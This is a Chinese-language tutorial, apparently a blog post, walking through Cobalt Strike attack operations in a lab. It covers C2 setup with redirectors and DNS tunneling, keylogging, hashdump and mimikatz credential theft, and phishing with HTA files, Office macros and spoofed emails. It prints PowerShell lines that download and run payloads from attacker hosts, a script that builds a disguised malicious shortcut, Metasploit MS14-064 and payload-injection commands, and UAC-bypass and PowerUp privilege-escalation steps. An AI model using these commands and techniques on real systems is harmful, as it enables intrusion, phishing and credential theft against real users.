一、配置与基本操作
CobaltStrike简介
Cobalt Strike: C/S架构的商业渗透软件,适合多人进行团队协作,可模拟APT做模拟对抗,进行内网渗透。
Cobalt Strike 一款GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。
服务端与客户端的配置
首先将下载好的CS文件解压至linux系统(此处我以kali linux为例), 切换至CS文件夹目录打开终端, 输出如下命令用于搭建CS服务器
./teamserver 192.168.47.134 qq123456
命令格式:
teamserver <服务端ip地址> <CS服务端密码>
CS服务端的监听端口默认为50050, 若想更改监听端口可通过修改teamserver文件
切换至Windows虚拟机点击start.bat
文件运行CS客户端界面, 并且输入: CS的服务器IP(192.168.47.134)、监听端口(50050)、自定义用户名、CS服务端密码(qq123456), 随后出现CS客户端界面
基本操作
首先新建个监听器, 设置监听的端口和payload, 此处payload我选择Beacon HTTP
选择相应的监听来创建后门程序, 此处创建的是一个可执行程序后门
将生成的后门程序放入受害机中并运行, 随后受害机会在CS客户端显示上线
二、重定向服务
重定向服务的概念
"重定向"是一个在CS服务器与目标主机进行网络传输之间的服务器, 不仅能保护CS服务器, 还能增强与目标网络传输的稳定性, 例如某一台重定向服务器倒塌了, 但是CS服务器还是能通过其他重定向服务器与目标网络进行信息传输
环境拓扑
- 域名: team.com
- Dns服务器: 192.168.47.137
- CS团队服务器: 192.168.47.134(cs.team.com)
- 重定向服务器1: 192.168.47.131(proxy1.team.com)
- 重定向服务器2: 192.168.47.140(proxy2.team.com)
- 目标主机: 192.168.47.141
环境搭建
1.在域控为CS服务器及代理服务器配置域名
在域控服务器打开DNS管理器
在DNS的正向查找区域新建一个区域, 名为team.com
, 即相当于申请一个顶级域名
为新建的区域增添A记录, 如下图所示步骤依次添加CS服务器及代理服务器
-
CS服务器: 别名为
team
, ip地址为192.168.47.134
-
代理服务器1: 别名为
proxy1
, ip地址为192.168.47.131
-
代理服务器2: 别名为
proxy2
, ip地址为192.168.47.140
2.将代理服务器80端口的数据转发到CS服务器80端口上
使用socat
命令进行端口转发, 若没有此命令需先使用apt-get install -y socat
命令进行安装, socat
命令使用语法如下:
socat TCP4-LISTEN:80,fork TCP4:[server ip]:80
将本机80端口监听到的数据转发到server服务器上的80端口
在两台代理服务器(ubuntu0和ubuntu1)上输入: socat TCP4-LISTEN:80,fork TCP4:192.168.47.134:80
攻击步骤
1.在CS客户端创建监听并生成攻击payload
在域内windows7主机登录CS客户端
新建http监听80端口, 将代理的服务器域名填写至HTTP Hosts
生成Power Shell远程执行代码: powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://proxy1.team.com:80/a'))"
浏览器访问http://proxy1.team.com:80/a
和http://proxy2.team.com:80/a
, 查看是否有返回结果, 若有则表示攻击payload配置成功
通过查看web日志可以查询到访问域名者的详细信息
2.受害机执行PowerShell恶意代码
在受害机执行powershell恶意代码: powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://proxy1.team.com:80/a'))"
后, 受害机在CS客户端界面显示上线
受害机抓包分析
使用Wireshark抓取HTTP数据包进行分析, 受害机的ip地址为192.168.47.141
, 它向192.168.47.140
(proxy2.team.com)发http数据包, 随后192.168.47.140
向192.168.47.134
(cs.team.com)发http数据包, 除此之外受害机还向192.168.47.131
(proxy1.team.com)发了http数据包
三、DNS Beacon
DNS隧道简介
利用DNS隧道进行攻击的现象已存在多年,将数据封装在DNS协议中传输,大部分防火墙和入侵检测设备很少会过滤DNS流量,僵尸网络和入侵攻击可几乎无限制地加以利用,实现诸如远控、文件传输等操作
DNS隐蔽隧道建立通讯并盗取数据,可轻易绕过传统安全产品,使用特征技术难以检测。广为人知的渗透商业软件Cobalt Strike和开源软件iodine、DNScat2等亦提供了现成模块,可被快速轻易地利用。
DNS Beacon通信过程
- 目标主机要对域名
123456.c1.henry666.xyz
进行解析, 首先查询本地的hosts文件, 若没有返回则从本地DNS服务器查询 - 本地DNS服务器首先查询自己的本地缓存, 若没有则进行迭代查询, 会向根域名服务器发起询问, 问你知道
123456.c1.henry666.xyz
吗, 然而根域名服务器说"我不知道,但是.com
服务器可能会知道" - 本地DNS服务器去问
.com
服务器,.com
服务器说:"我也不知道,henry666.xyz
服务器知道" - 本地DNS服务器去问
henry666.xyz
服务器, 它的回答是:"不知道,你去问c1.henry666.xyz
服务器" - 最终本地DNS服务器访问了
c1.henry666.xyz
的DNS服务器cs.henry666.xyz
, 并查询到了123456.c1.henry666.xyz
的响应值, 随后c1.henry666.xyz
服务器将响应值返回给本地DNS服务器, 本地DNS服务器再返回给目标主机
DNS Beacon的类型
1.dns(传输数据小)
使用DNS的A记录作为通信通道,这种方式的通信速度会比较慢, 且传输数据也有限制
可在beacon命令行输入: mode dns
进行切换
2.dns_txt(传输数据大)
使用DNS的TXT记录作为通信通道, 这种传输方式的优点在于传输的数据量更加庞大, 在CS4.0及未来版本都只有DNS TXT记录这一选项
可在beacon命令行输入: mode dns-txt
进行切换
3.dns6
使用DNS的AAAA记录作为通信通道
可在beacon命令行输入: mode dns6
进行切换
操作步骤
1.设置域名解析
此处我的域名是在godaddy上购买的, 为henry666.xyz, 在DNS解析管理处设置域名解析, 新增一条A记录和NS记录
- A记录: cs.henry666.xyz指向180.76.55.245
- NS记录: c1.henry666.xyz指向cs.henry666.xyz
2.vps开放udp协议的53端口
在云服务VPS的安全组的入站和出站都添加一组规则, 开放UDP协议的53端口, 这步骤十分重要
查看云服务器的53端口是否被占用: lsof -i:53
, 发现被一个叫systemd-resolve
的系统服务所占用, 关闭此服务: systemctl stop systemd-resolved
3.CS创建监听
在CS客户端新建一个监听, Payload选择Beacon Dns, DNS Hosts和DNS Host(Stager)填写NS记录的域名, 至于DNS端口绑定处填不填都行, 这里我就没填了
很多文章喜欢在DNS Hosts(Stager)处填写A记录域名, 实际上这里只需在上面的DNS Hosts里随便挑一个填写就可以了
还有一点是, CS里的DNS Beacon默认类型是DNS-txt
接下来验证一下新建的ns记录是否生效: nslookup c1.henry666.xyz
, 有非权威应答代表ns记录生效
4.CS创建后门
点击菜单栏的Attacks->Web-Drive-by->Scripted Web Delivery(S)
, 监听器选择刚刚创建的DNS, 生成带有执行后门程序的powershell代码, 并将此代码放到目标主机中执行
后门代码在目标主机执行成功后, CS会接收到反弹的Shell, 但默认情况下, 此主机图标显示是黑色的, 且无任何信息
这时就要在beacon命令行输入: checkin
, 强制让目标主机回连CS服务器, 随后主机信息就会显现出来
在beacon命令行输入: mode dns
, 切换使用dns的a记录进行数据通信
5.派生HTTP Beacon
由于DNS隧道不适合传输过大的数据且传输速率慢,因此我们可以派生一个HTTP Beacon, 这样做的好处是加快了数据的传输速率, 即使http后门进程被目标系统关闭了, 也可以通过dns beacon继续创建后门进程
抓包分析
首先查看目标主机的本地DNS服务器及IP, 在cmd命令行输入: ipconfig /all
在目标主机打开wireshark进行抓包, 可发现本机向本地DNS服务器发送DNS协议A记录的数据包, 从上述的DNS Beacon通信过程中可知, 该数据包内容是目标主机向本地DNS服务器查询c1.henry666.xyz
, 最终经过层层的迭代查询, 数据流向cs服务器
参考文章
四、Beacon常用操作
Beacon的种类
HTTP Beacon
这是一种“低延迟”载荷,它利用HTTP协议进行通信,能够发送命令、上传文件和下载输出。其特点是能够在不同的环境中进行自定义,包括URI路径、请求间隔、请求方式(GET或POST)、数据编码方式等。HTTP Beacon的通信数据并不加密,而是通过数据编码方式(如base64)进行隐藏
HTTPS Beacon
TTPS Beacon与HTTP Beacon相似,不过它使用的是HTTPS协议,也就是说,它的通信数据是加密的。HTTPS Beacon在网络流量的可视性方面比HTTP Beacon更加隐蔽
TCP Beacon
自CS4.0版本之后只有反向的TCP Beacon可用, 基于TCP协议的通信方式
SMB Beacon
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。
因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效
在CS会话列表选择一个beacon作为父beacon, 然后派生一个SMB Beacon作为子Beacon: Beacon>目标主机>右键> spawn as>选中对应的Listener
, 随后会话列表显示SMB Beacon
若想将两个beacon断开链接, 可在父级Beacon执行unlink 目标IP
命令, 随后在CS视图界面可以发现两个beacon已经断开链接
若想重新链接可在父级Beacon执行link 目标IP
命令
DNS Beacon
DNS Beacon是实用性最强的Beacon, 隐蔽性高, 后续我会单独出一篇文章来详解它的原理和使用
beacon常用命令
beacon命令 | 描述 |
---|---|
cancel | 取消正在进行的下载 |
cd | 切换目录 |
clear | 清空beacon的任务 |
connect | beacon会话连接 |
cp | 复制文件 |
desktop | 远程VNC(桌面) |
download | 下载文件 |
downloads | 列出正在下载的文件 |
elevate | 尝试提权 |
exit | 退出beacon |
getsystem | 尝试获取system权限 |
getuid | 获取用户id |
hashdump | 转储密码哈希值 |
help | 查询帮助 |
jobkill | 删除一个beacon任务 |
jobs | 列出beacon任务 |
keylogger | 键盘记录 |
kill | 结束进程 |
ls | 列出当前目录的所有文件 |
mimikatz | 运行mimikatz |
mkdir | 创建一个目录 |
mode dns | 使用Dns A作为通信通道(仅限 DNS Beacon) |
mode dns-txt | 使用DNS TXT作为通信通道(仅限 DNS Beacon) |
mode dns6 | 使用DNS 6作为通信通道(仅限 DNS Beacon) |
mv | 移动文件 |
portscan | 端口扫描 |
ps | 列出进程列表 |
powershell | 执行powershell命令 |
powershell-import | 导入powershell脚本 |
net | 执行net命令 |
pwd | 列出当前 |
常用攻击模块
设置通信延时
例如此处设置CS服务器与受害机每隔30秒进行一次通信
键盘记录
在受害机的beacon命令行输入: keylogger
在受害机随便敲下键盘, 返回CS客户端查看其键盘记录
若想关闭查看键盘记录,可使用jobs
和jobkill
命令进行关闭, 先使用jobs
命令查看beacon任务列表, 然后用jobkill
命令关闭对应JID的任务
文件管理
对受害机的文件进行相应操作, 不过有些特殊文件可能需要更高级别的权限才能操作
查看系统进程
端口扫描
选择要扫描的端口、ip网段、扫描模式
beacon命令行返回ip网段存活主机以及其开放的端口
远程桌面
远程VNC即查看受害机的远程桌面
五、会话管理
CS之间派生会话
将CS1管理的会话派生至CS2中, 简单来说就是将CS1服务器的肉鸡送给CS2服务器
准备环境
主机 | 描述 |
---|---|
Kali(192.168.47.134) | CS TeamServer1 |
Kali2(192.168.47.144) | CS TeamServer2 |
Windows7(192.168.47.133) | CS客户端,攻击机 |
Windows7(192.168.47.141) | 受害机 |
操作步骤
首先用CS客户端连接两个不同的CS服务器, 而我们要做的是将CS1的会话派生到CS2中去
在CS2服务器和CS1服务器都新建一个同样配置的监听用于接收派生过来的会话, 监听的host地址要填写为CS2服务器ip地址
派生会话选择上述建立的监听, 随后切换至连接CS2服务器的客户端查看派生过来的主机
CS派生会话至metasploit
将CS服务器的会话派生至metasploit中, 方便进行漏洞攻击
准备环境
主机 | 描述 |
---|---|
Kali(192.168.47.134) | CS TeamServer1 |
Kali2(192.168.47.144) | metasploit |
Windows7(192.168.47.133) | CS客户端,攻击机 |
Windows7(192.168.47.141) | 受害机 |
操作步骤
进入kali2输入命令:msfconsole
, 运行metasploit
metasploit新建监听用于接收CS派生过来的会话
返回至CS服务器建立外部监听, payload选择Foreign HTTP, 其余内容与metasploit建立的监听一致
派生会话选择上述建立的外部监听t, 然后返回Metasploit查看上线情况
metasploit派生会话至CS
将metasploit管理的会话派生至CS服务器
准备环境
主机 | 描述 |
---|---|
Kali(192.168.47.134) | CS TeamServer1 |
Kali2(192.168.47.144) | metasploit |
Windows7(192.168.47.133) | CS客户端,攻击机 |
Windows7(192.168.47.141) | 受害机 |
操作步骤
首先查看MSF中需派生会话的ID, 输入命令: sessions
, 此处要派生的会话ID为6 (下面的截图截错了)
输入如下命令进行派生会话, 派生完成后返回会话的进程PID为3322
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.47.134
set lport 80
set disablepayloadhandler True //默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,所以这里我们设置为true
set session 6
exploit
返回CS查看上线的会话 (PID:3332)
六、钓鱼攻击
HTA木马
简介
HTA是HTML Application的缩写,直接将HTML保存成HTA的格式,是一个独立的应用软件。HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多,它具有桌面程序的所有权限。就是一个html应用程序,双击就能运行
HTA木马一般配合网站克隆进行钓鱼攻击
步骤
生成HTML后门(HTA文件), 选择相应的监听器和模式,有三种模式,分别为Powershell
、VBA
、Executable
Executable 将会在hta文件中内嵌一个PE文件
Powershell 将会在hta文件中内嵌一段Powershell代码
VBA 将会在hta文件中内嵌一段VBA代码
将hta木马上传至服务器提供给用户下载, 返回木马的url路径
自行选择一个网站进行克隆, 并在attack选项处选择上传的HTA木马, 随后返回的钓鱼链接http://192.168.47.134:80/
受害机用浏览器访问钓鱼链接后, 网站会咨询用户是否下载木马文件, 若用户下载且运行, 则用户在CS上线
Office宏木马
简介
office钓鱼在无需交互、用户无感知的情况下,执行Office文档中内嵌的一段恶意代码,从远控地址中下载并运行恶意可执行程序,例如远控木马或者勒索病毒等。Cobalt Strike office钓鱼主要方法是生成一段vba代码,然后将代码复制到office套件中,当用户启动office自动运行
步骤
首先安装wps的宏插件, 不然无法在wps文档插入宏代码
在攻击选项选择MS Office Macro
生成恶意宏代码
打开新建的doc文档, 在开发工具栏点击宏选项, 新建一个宏
将CS生成的宏代码复制至文档中, 然后将文件类型保存为docm类型
LINK钓鱼
简介
lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令
例如创建一个简单的powershell文件, 先创建一个txt文件, 并对其写入如下代码, 随后将其后缀名改为ps1, 右键单击此文件选择powershell执行, 运行后会弹出计算器
cmd /c calc.exe
步骤
选择钓鱼攻击>Scripted Web Delivery
, 生成PowerShell远程执行代码
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.47.134:80/a'))"
按照上面做的简单powershell步骤,将其内容里的calc.exe换成powershell代码, 保存为test.txt文件
cmd /c powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.47.134:80/a'))"
创建LNK.ps1文件, 将如下代码写入进去, 然后右键powershell执行后, 会在文件当前目录下生成test.lnk文件
若受害机运行了test.lnk文件, 则在CS上线
注意:LNK.ps1和test.txt要在同一目录下
# 从 "test.txt" 文件中获取内容,并将该内容存储在变量 $file 中
$file = Get-Content "test.txt"
# 创建一个 COM 对象,该对象对应于 Windows Script Host Shell,可以用来执行各种系统任务,例如创建快捷方式
$WshShell = New-Object -comObject WScript.Shell
# 使用 WSH Shell 的 `CreateShortcut` 方法创建一个快捷方式,该快捷方式的名称是 "test.lnk"
$Shortcut = $WshShell.CreateShortcut("test.lnk")
# 设置快捷方式的目标路径,也就是快捷方式所指向的程序。这里设置的是 cmd.exe,它是 Windows 的命令提示符
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
# 设置快捷方式的图标位置。这里设置的是 Shell32.dll 文件中的第 21 个图标
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
# 设置当启动目标程序时要传递给它的命令行参数。这里设置的是 "test.txt" 文件的内容
$Shortcut.Arguments = ''+ $file
# 保存对快捷方式的所有更改,创建了实际的 ".lnk" 文件
$Shortcut.Save()
OLE远程代码执行(MS14-064)
简介
Microsoft Windows OLE 远程代码执行漏洞,影响Win95+IE3 - Win10+IE11全版本
通过MSF生成恶意url连接, 配合CS克隆网站进行钓鱼攻击, 然后受害机在CS上线
准备环境
主机 | 描述 |
---|---|
192.168.47.134(kali) | CS服务器 |
192.168.47.144(kali) | MSF |
192.168.47.133(win7) | CS客户端,攻击机 |
192.168.47.141(win7) | 受害机 |
步骤
在kali上输入msfconsole
打开metasploit, 再输入use exploit/windows/browser/ms14_064_ole_code_execution
选择相应模块
然后输入如下命令开始执行攻击, 随后会返回一个url钓鱼连接:http://192.168.47.144:8080/lCKUuRHyz1
set srvhost 192.168.47.144 //设置msf服务器的ip
set srvport 8080 //设置恶意连接的访问端口
set payload windows/meterpreter/reverse_http //设置监听协议
set allowpowershellprompt true //使用powershell执行代码
set lhost 192.168.47.134 //设置监听服务器的ip
set lport 80 //设置监听服务器的端口
run //开始执行
在CS生成克隆网站, 攻击选项处填写刚生成的url钓鱼链接, 生成的克隆网站链接为http://192.168.47.134:80/baidu
受害机访问克隆网站后会弹出警告框, 询问你是否允许执行powershell, 若点击允许则在CS成功上线
钓鱼邮件
简介
利用Cobalt Strike生成钓鱼邮件对企业或者网站的邮箱进行攻击, 钓鱼邮件的内容通常包含Office宏木马附件, 钓鱼网站等等
Cobalt Strike钓鱼邮件攻击需确定如下信息:
- 目标邮箱
- 邮件模板
- smtp账号
步骤
首先确保你邮箱开启了SMTP服务,这里我以163邮箱为例, 需开启POP3/SMTP
服务
开启了smtp服务后会自动生成一个授权密码, 在后面CS填写smtp信息会用到
在网页邮箱可以查看邮件的模板, 将模板内容保存至Mail Template.txt
文件
将目标邮箱以及收件人的信息保存在Mail.txt文件, 注意这两者之间相隔一个tab键的距离
CS攻击选择邮件钓鱼
填写钓鱼攻击所需的信息,在Mail Server的密码框要填写上面开启SMTP服务所生成的授权密码, 填写完毕后点击Send发送邮件
Targets:存有目标邮箱及收件人信息的文本文件
Template:邮件模板文件
Attachment:附件
Embed URL:填写url钓鱼链接, 可将邮件的内置链接替换掉。此处我填写了带有键盘记录功能的克隆网站
Mail Server: 邮箱服务器相关信息
Bounce to:邮箱地址
接收到的钓鱼邮件显示的发件人是和原邮件一模一样的,且邮件的链接都被替换成了钓鱼链接
点击链接跳转至钓鱼页面,在输入框输入内容会被传输至CS服务器,可在CS客户端打开Web日志进行查看键盘记录
七、扩展插件
加载插件
Cobalt Strike为我们提供了插件扩展的功能, 丰富了红队的攻击手段
选择菜单栏的Cobalt Strike ->脚本管理器, 点击Load, 随后选择cna文件
插件汇总
elevate.cna
新增多个提权模块,如下图所示
八、权限提升
Uac绕过
常见uac攻击模块
UAC-DLL
Uac-dll攻击模块可将低权限的本地管理员提升至高权限, 此攻击使用UAC漏洞将ArtifactKit生成的DLL复制到特权位置。
适用于Windows7和Windows8及更高版本的未修补版本
Uac-token-duplication
也是将本地管理员从低权限提升至高权限, 此uac漏洞允许非提升进程使用在提升进程中窃取的令牌, 以此启动任意进程, 此漏洞要求攻击删除分配给提升令牌的多个权限
若AlwaysNotify处于最高设置, 此攻击要求提升的进程已在当前桌面会话中运行, 然后使用Powershell生成会话
适用于Windows7和Windows8及更高版本
Uac-wscript
这种绕过方法最初是在Empire框架中出现, 只适用于Windows7
步骤
进入用户beacon命令行, 输入shell whoami
查看当前用户
再输入net user
查看当前所有用户及其所在组, 可以发现当前用户hacker处于管理员组, 因此可使用bypassuac提权
对用户鼠标右键, 选择提权
选择相应的监听器和uac提权模块,然后点击开始
提权后会返回一个新的beacon, 可以发现其用户名为hacker*
Windows本地提权漏洞
简介
内核模式驱动程序中的漏洞可能允许远程执行代码
常见的本地提权漏洞有ms14-058
, ms15-051
, ms16-016
步骤
鼠标右键点击用户->执行->提权
由于CS自带的windows本地提权模块只有ms14-058, 这里我是使用了扩展插件的, 提权成功后用户权限会被提升至System权限
PowerUp提权
步骤
beacon命令行输入powershell-import
, 然后选择本地文件PowerUp.ps1
输入powershell Invoke-AllChecks
, PowerShell脚本会快速帮我们扫描系统的弱点, 此处扫描出一个正在运行的服务: Protect_2345Explorer.exe
查看此服务的权限情况: shell icacls "C:\Program Files (x86)\2345Soft\2345Explorer\Protect\Protect_2345Explorer.exe"
, 发现User组的用户对此服务拥有完全控制的权限
F表示此用户拥有完全控制的权限
RX表示此用户没有权限
添加系统用户: powershell Install-ServiceBinary -ServiceName Protect_2345Explorer -UserName test2 -Password 123456
然后再查看当前所有用户及其组: net user
让新建的系统用户上线: 执行->Spawn As, 然后输入用户的账号与密码, 随后CS显示test2上线
Domain输入
.
表示当前计算机
九、凭据导出与存储
简介
凭据即为受害机所有用户的账号和密码,所谓的导出凭据就是导出所有用户的账号和密码,导出凭据通常用于内网渗透的横向移动,
要注意的一点是:导出凭据操作需要管理员级别的用户
导出凭据
HashDump导出凭据
鼠标右键单击用户->执行->转储Hash, 或者beacon命令行输入:hashdump
随后beacon命令行会返回用户组的账号与密码
Mimikatz导出凭据
鼠标右键单击用户->执行->Run Mimikatz, 或者或者beacon命令行输入:logonpasswords
随后返回用户组的账号和密码
存储凭据
点击右上角的工具栏名为凭证信息的图标, 随后下方会显示不同计算机以及对应的用户组账号和密码
十、简单的域内渗透
收集域内信息
Windows命令
查看网关的ip地址, DNS的ip地址、域名等等:shell ipconfig /all
查看当前主机所在的域: shell net view /domain
查看当前域的主机列表: shell net view
查看指定域的主机列表: shell net view /domain:[domain]
若beacon用户是域控, 则可使用此命令查看当前域的主机列表: shell net group "domain computers" /domain
查看指定域的域控: nltest /dclist:[domain]
若上面的命令不能执行就换这条: shell c:\windows\sysnative\nltest /dclist:[domain]
查看域内主机的ip地址:shell nslookup [主机名]
或ping -n 1 -4 [主机名]
查看当前域的信任关系: nltest /domain_trusts
CS自带命令
列出当前域的域控: net dclist
列出指定域的域控: net dclist [domain
]
列出当前域控的主机列表: net view
列出指定域控的主机: net view [domain]
列出指定主机名的共享列表: net share \\[主机名]
PowerView
先在beacon输入命令导入Powershell脚本: powershell-import, 随后
查询比你低
获取域内用户和管理员信息
查询本地管理员账号
判断当前用户是否属于管理员组: shell whoami/groups
查询本地管理员组的用户: shell net localgroup administrators
查询域管理员账号
查询所有域的用户列表: shell net user /domain
查询域管理员用户: shell net group "domain admins" /domain
查询企业管理员用户列表: shell net group "enterprise admins" /domain
vps搭建可能遇到的问题
1.文件上传
若要将本机的文件上传至云服务器,你需通过Xshell来实现
先在xshell连接云服务器,命令行中执行rz
命令,即可实现文件上传
若没有
rz
命令,则需用到以下命令进行安装(二选一):
- 适用于redhat linux:
yum install lrzsz
- 适用于centos或ununtu:
apt-get install lrzsz
2.文件解压
将zip文件上传至服务器, 使用unzip
命令解压压缩包
unzip xxx.zip
若没有此命令需先安装: apt-get install unzip
3.文件权限问题
进入Cobalt Strike的文件目录,你会发现不能执行teamserver
文件,这是因为你没有给此目录赋予更高的权限,执行以下命令赋予最高权限
chmod -R 777 cs目录
4.安装java环境
配置Cobalt Strike服务需要java环境的支持, 执行如下命令安装java
sudo apt-get update
sudo apt-get install default-jdk
5.CS客户端出现timeout错误
如下图所示, 在登录CS客户端时出现Connection timed out
错误警告
首先检查云服务器安全组配置,开放对应的CS服务器监听端口
关闭服务器防火墙,我的服务器系统是ubuntu,每个系统对应的命令是不同的。
sudo ufw disable
6.Cobalt Strike后台执行
若Xshell与云服务器断开了连接, 则Cobalt Strike服务也会相应断开, 但可以通过Screen命令为Cobalt Strike服务设置后台执行
安装Screen:apt-get install screen
screen命令的常用操作如下:
screen -S yourname
: 新建一个叫yourname的后台任务screen -ls
: 列出当前所有的后台任务screen -r yourname
: 切换至名为yourname的后台任务
若要结束名为yourname的后台任务, 先使用screen -r yourname
切换至此任务, 然后执行exit
命令